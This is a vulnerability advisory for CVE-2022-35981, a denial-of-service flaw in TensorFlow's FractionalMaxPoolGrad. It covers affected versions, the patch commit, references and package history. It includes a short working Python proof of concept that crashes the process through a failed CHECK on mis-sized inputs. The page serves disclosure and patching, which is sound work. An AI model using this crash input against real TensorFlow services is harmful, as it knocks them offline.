TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`
Impact
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
import tensorflow as tf
overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)
row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)Patches
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vxv8-r8q2-63xw
- https://nvd.nist.gov/vuln/detail/CVE-2022-35981
- https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-vxv8-r8q2-63xw
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-617- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 16.09.2022
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1041 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3250 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vxv8-r8q2-63xw - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3375 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: tensorflow-gpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 427
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 109
- Medium 207
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
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